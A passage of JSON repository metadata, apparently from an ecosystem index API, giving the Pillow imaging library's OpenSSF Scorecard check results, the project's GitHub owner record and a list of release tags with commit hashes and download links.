Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_font.py:18","Info: PythonAtherisFuzzer integration found: Tests/oss-fuzz/fuzz_pillow.py:16"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/wheels.yml:270"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Vulnerabilities","score":0,"reason":"13 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: PYSEC-2018-34 / GHSA-2fc2-6r4j-p65h","Warn: Project is vulnerable to: PYSEC-2021-856 / GHSA-5545-2q6w-2gh6","Warn: Project is vulnerable to: PYSEC-2019-108 / GHSA-9fq2-x9r6-wfmf","Warn: Project is vulnerable to: PYSEC-2018-33 / GHSA-cw6w-4rcx-xphc","Warn: Project is vulnerable to: PYSEC-2021-857 / GHSA-f7c7-j99h-c22f","Warn: Project is vulnerable to: GHSA-fpfv-jqm9-f5jm","Warn: Project is vulnerable to: PYSEC-2017-1 / GHSA-frgw-fgh6-9g52"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): .github/workflows/test-docker.yml:100","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:53: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/cifuzz.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docs.yml:52: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/docs.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/lint.yml:36: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/lint.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release-drafter.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/release-drafter.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/stale.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-docker.yml:108: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:48: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-mingw.yml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-mingw.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind-memory.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind-memory.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-valgrind.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-valgrind.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test-windows.yml:219: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test-windows.yml:231: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test-windows.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/test.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:281: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/wheels.yml:287: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:114: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:156: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:167: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:222: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:228: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:237: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:242: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:248: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/wheels.yml:259: update your workflow using https://app.stepsecurity.io/secureworkflow/python-pillow/Pillow/wheels.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .ci/after_success.sh:4","Warn: pipCommand not pinned by hash: .ci/install.sh:25","Warn: pipCommand not pinned by hash: .ci/install.sh:26","Warn: pipCommand not pinned by hash: .ci/install.sh:27","Warn: pipCommand not pinned by hash: .ci/install.sh:28","Warn: pipCommand not pinned by hash: .ci/install.sh:29","Warn: pipCommand not pinned by hash: .ci/install.sh:30","Warn: pipCommand not pinned by hash: .ci/install.sh:31","Warn: pipCommand not pinned by hash: .ci/install.sh:32","Warn: pipCommand not pinned by hash: .ci/install.sh:33","Warn: pipCommand not pinned by hash: .ci/install.sh:34","Warn: pipCommand not pinned by hash: .ci/install.sh:35","Warn: pipCommand not pinned by hash: .ci/install.sh:38","Warn: pipCommand not pinned by hash: .ci/install.sh:44","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:24","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:25","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:26","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:27","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:28","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:29","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:30","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:31","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:32","Warn: pipCommand not pinned by hash: .github/workflows/macos-install.sh:35","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:174","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:187","Warn: pipCommand not pinned by hash: .github/workflows/wheels-dependencies.sh:377","Warn: pipCommand not pinned by hash: Tests/oss-fuzz/build.sh:18","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:47","Warn: pipCommand not pinned by hash: .github/workflows/lint.yml:48","Warn: pipCommand not pinned by hash: .github/workflows/test.yml:124","Warn: pipCommand not pinned by hash: .github/workflows/wheels.yml:120","Info:   0 out of  36 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of  32 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}}]},"last_synced_at":"2025-08-22T00:42:31.003Z","repository_id":4067385,"created_at":"2025-08-22T00:42:31.003Z","updated_at":"2025-08-22T00:42:31.003Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36784011,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-19T02:00:06.185Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@aclark.net","website":"https://python-pillow.github.io","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":19,"last_synced_at":"2026-08-13T00:36:15.473Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/python-pillow","funding_links":["https://github.com/sponsors/python-pillow"],"total_stars":13916,"followers":251,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2026-08-13T00:36:15.483Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"12.3.0","sha":"bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d","kind":"commit","published_at":"2026-07-01T09:09:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.3.0/manifests"},{"name":"12.2.0","sha":"3c41c095064200a02672d89cc5ff629eaf4b0d4f","kind":"commit","published_at":"2026-04-01T12:11:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.2.0/manifests"},{"name":"12.1.1","sha":"5158d98c807e719c5938aa3886913ef0ea6814e9","kind":"commit","published_at":"2026-02-11T01:13:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.1/manifests"},{"name":"12.1.0","sha":"46f45f674d47b5d8bc54230dda8fe9e214598b87","kind":"commit","published_at":"2026-01-02T06:03:05.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.1.0/manifests"},{"name":"12.0.0","sha":"693df7b42c666f88c719f9973be0ad71607328e0","kind":"commit","published_at":"2025-10-15T17:06:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/12.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/12.0.0/manifests"},{"name":"11.3.0","sha":"89f1f4626a2aaf5f3d5ca6437f41def2998fbe09","kind":"commit","published_at":"2025-07-01T07:41:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.3.0/manifests"},{"name":"11.2.1","sha":"339bc5db93bd95decf65a59fab273f300db6594d","kind":"commit","published_at":"2025-04-12T16:55:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.2.1/manifests"},{"name":"11.1.0","sha":"4c1aed801e43c6b307e7135279ca1dbc02bbf052","kind":"commit","published_at":"2025-01-02T05:00:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.1.0/manifests"},{"name":"11.0.0","sha":"204aae6682fc936f5350b3fe70335776f81480a7","kind":"commit","published_at":"2024-10-15T05:55:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/11.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/11.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@11.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/11.0.0/manifests"},{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.1